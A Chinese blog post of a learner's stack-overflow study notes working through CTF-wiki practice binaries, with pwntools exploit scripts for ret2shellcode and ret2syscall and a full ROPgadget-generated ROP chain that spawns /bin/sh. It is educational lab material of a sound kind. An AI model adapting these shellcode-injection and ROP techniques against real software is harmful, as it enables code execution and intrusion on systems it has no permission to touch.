• 栈溢出笔记-第二天


    上一篇,计算缓冲区大小是通过IDA和gdb调试计算出来的,这次有个小trick.

    我们可以用调试工具(例如 gdb)查看汇编代码来确定这个距离,也可以在运行程序时用不断增加输入长度的方法来试探(如果返回地址被无效地址例如“AAAA”覆盖,程序会终止并报错)。
    Alt text
    来到vulnerable函数调用。cyclic 命令可以打印出类似四字节一循环的字符串,返回地址被这些值覆盖后程序运行就会报无效地址错误。用gdb调式程序,输入 r 运行程序,停在输入处输入cyclic字符串,查看无效地址。
    Alt text
    Alt text
    计算出缓冲区大小24,exp:"A"*24+success地址
    Alt text
    前面讲的都是ret2text,下面说一下ret2shellcode
    覆盖指令是jmp esp
    Alt text
    但是我用ROPgadget搜出来的jmp esp貌似不可访问
    Alt text
    Alt text
    所以jmp esp后面放shellcode暂时没成功,有空回来在试一下。

    CTF-wiki上有这个实验,因为有strncpy(buf2, (const char *)&v4, 0x64u);,所以不用jmp esp来控制流了,
    https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#ret2shellcode
    实验跟ctf-wiki一样,payload改一下,在ret 位置下断。

    #!/usr/bin/env python
    from pwn import *
    context.terminal = ['tmux','splitw','-h']
    context(os='linux',arch='i386',log_level='debug')
    sh = process('./ret2shellcode')
    gdb.attach(sh, "b *0x080485c6")
    shellcode = asm(shellcraft.sh())
    buf2_addr = 0x804a080
    
    sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
    sh.interactive()
    

    buf2的位置由于栈溢出写入shellcode了
    Alt text
    执行ret后,就会执行shellcode。
    Alt text
    ret2syscall

    pop eax, # 系统调用号载入, execve为0xb
    pop ebx, # 第一个参数, /bin/sh的string
    pop ecx, # 第二个参数,0
    pop edx, # 第三个参数,0
    int 0x80, # 执行系统调用
    payload如下:

    #!/usr/bin/env python
    from pwn import *
    context.terminal = ['tmux','splitw','-h']
    context(os='linux',arch='i386',log_level='debug')
    sh = process('./ret2syscall')
    gdb.attach(sh, "b *0x08048ea1")
    pop_eax_ret = 0x080bb196
    pop_edx_ecx_ebx_ret = 0x0806eb90
    int_0x80 = 0x08049421
    binsh = 0x80be408
    payload = flat(
        ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
    sh.sendline(payload)
    sh.interactive()
    

    调试一下就知道了,还是在ret下断点,eax,ebx ,edx ,ecx都被赋值了,最后执行int 80
    Alt text
    Alt text
    https://bbs.pediy.com/thread-248682.htm
    https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#ret2syscall
    另一种解法通过ROPgadget工具找ROP链:ROPgadget --binary ret2syscall --ropchain
    poc就这样

    #!/usr/bin/env python2
    # execve generated by ROPgadget
    #ROPgadget --binary ret2syscall --ropchain     获得下面rop链
    from struct import pack
    # Padding goes here
    p = ''
    p += pack('<I', 0x0806eb6a) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080bb196) # pop eax ; ret
    p += '/bin'
    p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806eb6a) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080bb196) # pop eax ; ret
    p += '//sh'
    p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806eb6a) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x08054590) # xor eax, eax ; ret
    p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080ea060) # padding without overwrite ebx
    p += pack('<I', 0x0806eb6a) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x08054590) # xor eax, eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x08049421) # int 0x80
    
    from pwn import *
    f = process('ret2syscall')
    f.sendline('a'*112 + p)
    f.interactive()
    

    在看https://www.freebuf.com/news/182894.html ret2libc有点吃力,ELF文件结构,还有《程序员的自我修养—链接、装载与库》这本书得稍微过一下。把plt和got看一下,还有 bss 段和text段都梳理一下,还有逆向能力太差了,这都需要补啊,先把Pwn的漏洞类型过一遍吧,一定研读这本书《Reverse Engineering for Beginners》
    https://zhuanlan.zhihu.com/p/25892385
    https://www.jianshu.com/p/4928e726a43f

  • 相关阅读:
    cesium 学习(七) HeadingPitchRoll
    cesium 学习(六) 坐标转换
    cesium 学习(五) 加载场景模型
    Cesium 学习(一)环境搭建
    Cesium 学习(二)所支持的模型数据类型,以及转换
    cesium 学习(四) Hello World
    Cesium 学习(三)各种资源链接
    【Windows编程】系列第十一篇:多文档界面框架
    【Windows编程】系列第十篇:文本插入符
    【Windows编程】系列第八篇:通用对话框
  • 原文地址:https://www.cnblogs.com/afanti/p/12637959.html
Copyright © 2020-2023  润新知